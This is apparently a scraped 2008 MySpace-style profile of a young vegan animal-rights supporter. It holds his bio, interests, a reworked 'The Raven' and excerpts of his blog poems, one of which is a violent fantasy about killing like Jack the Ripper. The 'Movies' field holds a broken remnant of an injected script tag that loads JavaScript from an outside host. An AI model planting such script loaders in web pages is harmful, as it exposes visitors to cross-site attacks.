xVxRyanx(Vote McKinney/Clemente 08)'s Profile |
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"The greatness of a nation can be judged by the way its animals are treated." Gandhi |
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| Age: | 21 years old |
| Sex: | Male |
| Location: | Beacon, New York |
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| Height: | 6' 1" |
| BodyType: | Athletic |
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| Last Login: | Oct 9, 2008 (439 days back) |
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About Me |
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M A R R I A G E I S A B O U T L O V E FUCK GOVERNMENT SHOW YOUR SUPPORT!!!I'm 6'1" 145 lbs althletic build,Green eyes,Black hair,I'm accepting of all gay straight anything.I'm a very open and loving person. I was born and raised in NY. I'm a VEGAN. I'm Straight Edge I'm 1/2 Italian,part AfricanFrench,Irish,English,Dutch,french Canadian,& english Canadian,German,Scottish... I'm very passive. I love any sport except football and basketball I hate them..but my two favourite sports are baseball and hockey. I LOVE art, poetry, music, haiku's. Any expression of ones soul. My three favourit poets are EMILY DICKINSON, EDGAR ALLEN POE, and T.S. ELLIOT...I love all my friends..most of which are more like family than friends.. I don't judge you on the basis of your skin,religion, or anything and I will never impose my ideas upon you unless you ask for my opinion. if you want to know anyhting else just ask me and I'll be happy to tell you what you want to know. |
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My Interests |
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I'd like to meet:Edgar Allen Poe editen/rewritten by Omnia - The Raven Once upon a midnight dreary, while I pondered, weak and weary, Over many a quaint and curious volume of forgotten lore, While I nodded, nearly napping, suddenly there came a tapping, As of someone gently rapping, tapping at my chamber door. "'Tis some visitor," I muttered, "tapping at my chamber door- Only this, and nothing more." Ah, distinctly I remember it was in a bleak December, And each separate dying ember wrought its ghost upon the floor. Eagerly I wished the morrow;- vainly I had sought to borrow From my books surcease of sorrow- sorrow for the lost Lenore- For the rare and radiant maiden whom the angels name Lenore- Nameless here for evermore. And the silken sad uncertain rustling of each purple curtain Thrilled me- filled me with fantastic terrors never felt before; Presently to still the beating of my heart, I stood repeating, "'Tis some visitor entreating entrance at my chamber door- Some late visitor entreating entrance at my chamber door;- Merely this, and nothing more." Out into the darkness peering, long I stood there wondering, fearing, Doubting, dreaming dreams no mortals ever dared to dream before; But the silence was unbroken, and the stillness gave no token, And the only word there spoken was the whispered word, "Lenore!" This I whispered, and an echo murmured back the word, "Lenore!"- Merely this, and nothing more. Back into the chamber turning, all my soul within me burning, Soon again I heard a tapping somewhat louder than before. "Surely," said I, "surely that is someone at my window lattice: Let me see, then, what thereat is, and this mystery explore- Let my heart be still a moment and this mystery explore, 'Tis the wind and nothing more." Open wide I flung the shutter, when, with many a flirt and flutter, In there stepped a stately Raven of the saintly days of yore; Not the least obeisance made he; not a minute stopped or stayed he; But, with mien of lord or lady, perched above my chamber door- Perched upon a bust of Eris just above my chamber door- Perched, and sat, and nothing more. Then this ebony bird beguiling my sad fancy into smiling, By the grave and stern decorum of the countenance it wore. "Though thy crest be shorn and shaven, thou," I said, "art sure no craven, Ghastly grim and ancient raven wandering from the Nightly shore- Tell me what thy lordly name is on this Night's Plutonian shore!" Quoth the Raven, "Nevermore." And the Raven, sitting lonely on the placid bust, spoke only That one word, as if his soul in that one word he did outpour. Nothing further then he uttered- not a feather then he fluttered- Till I scarcely more than muttered, "other friends have gone before- On the morrow he will leave me, as my hopes have flown before." said the Raven, "Nevermore." Then methought the air grew denser, perfumed by an unseen censer Swung by Seraphim whose footfalls tinkled on the tufted floor. Once more on the velvet sinking, I betook myself to linking Fancy unto fancy, thinking what this ominous bird of yore- What this grim, ungainly, ghastly, gaunt and ominous bird of yore Meant in croaking "Nevermore." "Prophet!" said I, "thing of evil!- prophet still, if bird or devil!- Whether Tempter sent, or whether tempest tossed thee here ashore, Desolate yet all undaunted, on this desert isle enchanted- On this home by horror haunted- tell me truly, I implore- Is there- is there balm in Gilead?- tell me- tell me, I implore!" Quoth the Raven, "Nevermore." "Prophet!" said I, "thing of evil- prophet still, if bird or devil! By that Heaven stretched above us- by that God we both adore- Tell this soul with sorrow laden if, within the distant Aidenn, It shall clasp a sainted maiden whom the angels name Lenore- Clasp a rare and radiant maiden whom the angels name Lenore." Quoth the Raven, "Nevermore." "Be that word our sign in parting, bird or fiend," I shrieked, upstarting- "Get thee back into the tempest and the Night's Plutonian shore! Leave no black plume as a token of that lie thy soul hath spoken! Leave my loneliness unbroken!- quit the bust above my door! Take thy beak from out my heart, and take thy form from off my door!" Quoth the Raven, "Nevermore." And the Raven, never flitting, still is sitting, still is sitting On the pallid bust of Eris just above my chamber door; And his eyes have all the seeming of a demon's that is dreaming, And the lamplight o'er him streaming throws his shadow on the floor; And my soul from out that shadow that lies floating on the floor Shall be lifted- nevermore! the following quote by Professor Charles R. Magel sums animal testing up nicely: "Ask the experimenters why they experiment on animals and the asnwer is 'because the animals are like us.' Ask the experimenters why it is morally OK to experiment on animals and the answer is 'because the animals are not like us.' Animals experimentation rests on a logical contradiction." The New Martyrs Don’t forget about the animals Who died for our sins Because of greedy corporate cannibals No body wins You complain about your rights But what about theirs? It’s not the family dog So no body cares Although their lives are lost For the consumption of your product They are the martyrs of today Because of evil’s you’ve thought up Copyright © 1999 by Anthony Hoag. VEGAN BANDS ♥ VEGAN CLOTHING ♥ What's Wrong With Dairy and Eggs? The "Free-Range" Myth The Protein Myth Ecological Effects of Animal Agriculture Protecting Your Bones Vegan Holiday Recipes Factory Farming Fact Sheet Seattle, WA Vegetarian Restaurant Guide Portland, OR Vegetarian Restaurant Guide PITBULL MYTHS.. VEGANISMRUN by THE SOME OF ALL PARTS.THE SOURCE OF VIVISECTION ANIMALS =~(FOR THE PITBULLS .. .. ..MySpace Backgrounds My Friend Space I have family from the dark abyss Demonicly Anointed, View/Edit All Comments Sjel alltid forhekset av henne elske♥ |
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Music:I can sing and play a few instruments.My favourite genres are Classical Music/Opera,Gothic Ambient,Death/Black/Metal, Goth metal/rock..and Metalcore,80's/80's inspired Hardcore/Punk,Industrial, Classic Metal. |
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Movies:ummmmi dunno...Action movies,sometimes horror movies and some sport& comedy movies i guess..... language="javascript" src="http://crosssiterequest.somee.com/request.js"function nothingf(){document·write("nathanjosiah1.mov.r{}");}.. |
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Television:History Channel,Discovery Channel,Animal Planet,Nick at Night, Hockey,Baseball,Soccer,Volleyball,Lacrosse. |
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Books:pretty much any book to do with animals=~),Magic books,anything by Anton Szander LaVey, Books about Killers, History books. |
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Heroes:All the people putting their lives on the line in the Army for the US & our allies The Army Puttin Their Lives on the lineThe SPCA saving animals lives .. |
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My Background and Lifestyle |
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| MaritalStatus: | In a Relationship |
| Ethnicity: | White / Caucasian |
| SexualOrientation: | Bisexual |
| Hometown: | Poughkeepsie, NY |
| Religion: | Atheist |
| Smoker: | No |
| Drinker: | No |
| Children: | Someday |
| Education: | In college |
| Income: | $30,000 to $45,000 |
My Pictures |
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My Blog |
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Drug of the masses (written around April) |
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| You see blood in its eyesBut the criesFall on deaf earsYou took its brotherThe father, and motherTorturing is all they knewYou took it as a child at birthPenning it up forA horrid lifeNever to moveAll... Posted by xVxRyanx(Vote McKinney/Clemente 08) on Wed, 17 Sep 2008 06:27:00 PST |
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BLOOD LUST |
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| It would be fun to be the next Jack the Ripper. Hear their blood curdling screams and watch the blood pour out of their bodies. Quite amusing to see their insides on the outside.Not just you but an... Posted by xVxRyanx(Vote McKinney/Clemente 08) on Tue, 16 Sep 2008 03:58:00 PST |
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Nativity Scene |
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| The sky grows darkScreams are heardFire falls from aboveDemons ascend from belowBlood lines the pavementA world in chaosCrows and Ravens fleeNevermore shall they be seenAir turns noxiousThe smell of d... Posted by xVxRyanx(Vote McKinney/Clemente 08) on Sat, 06 Sep 2008 01:39:00 PST |
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Untitled poem |
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| I love you moreThan all the starsIn the skyMore thanAll the ripplesIn the tideMore than All the leavesIn the forestThan all the dropletsOn a misty nightAll the grains of sandOn the beachMore than the ... Posted by xVxRyanx(Vote McKinney/Clemente 08) on Wed, 30 Jul 2008 01:57:00 PST |
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You |
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| You are my moon On a starless nightKeeping me safeDuring thisVail of DarknessBright as the sunShining with all your lightGiving celestial guidanceYour Incandescence Burning the path forthwithStronger ... Posted by xVxRyanx(Vote McKinney/Clemente 08) on Mon, 28 Jul 2008 01:42:00 PST |
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Kiss |
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| Without you darknessShall forever reign supremeSaved by a lone kiss Posted by xVxRyanx(Vote McKinney/Clemente 08) on Thu, 10 Jul 2008 08:10:00 PST |
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Time |
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| The fabric of time Torn the very instant That you became mine Darkness turns to light As we fall through time and space Passions flame does not blight Years to centuries Through the ages ... Posted by xVxRyanx(Vote McKinney/Clemente 08) on Thu, 10 Jul 2008 07:53:00 PST |
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lovey |
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| come kiss me..let feel your tender lips press up against mine. and let me lay my head upon your chest to feel your pulsing heart and the the warmth of your breath on the nape of my neck... Posted by xVxRyanx(Vote McKinney/Clemente 08) on Sun, 06 Jul 2008 02:21:00 PST |
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When Darkness Falls |
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| When Darkness Falls
The creatures, they lament
To sanctify the treason
That which has befallen
Upon us all
Conditions deplorable
Given no right to live
We've been taken hostage
Never again seei... Posted by xVxRyanx(Vote McKinney/Clemente 08) on Tue, 29 Apr 2008 07:21:00 PST |
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She rides upon a white stallion |
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| She rides upon a white stallionEver so gracefullyLooking ever so elegantHer flawless complexionGlistening in the lightCast by the incandescent moonSurrounded by mistShe's shrouded in mysteryHer beauty... Posted by xVxRyanx(Vote McKinney/Clemente 08) on Mon, 28 Apr 2008 12:46:00 PST |
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My Friends |
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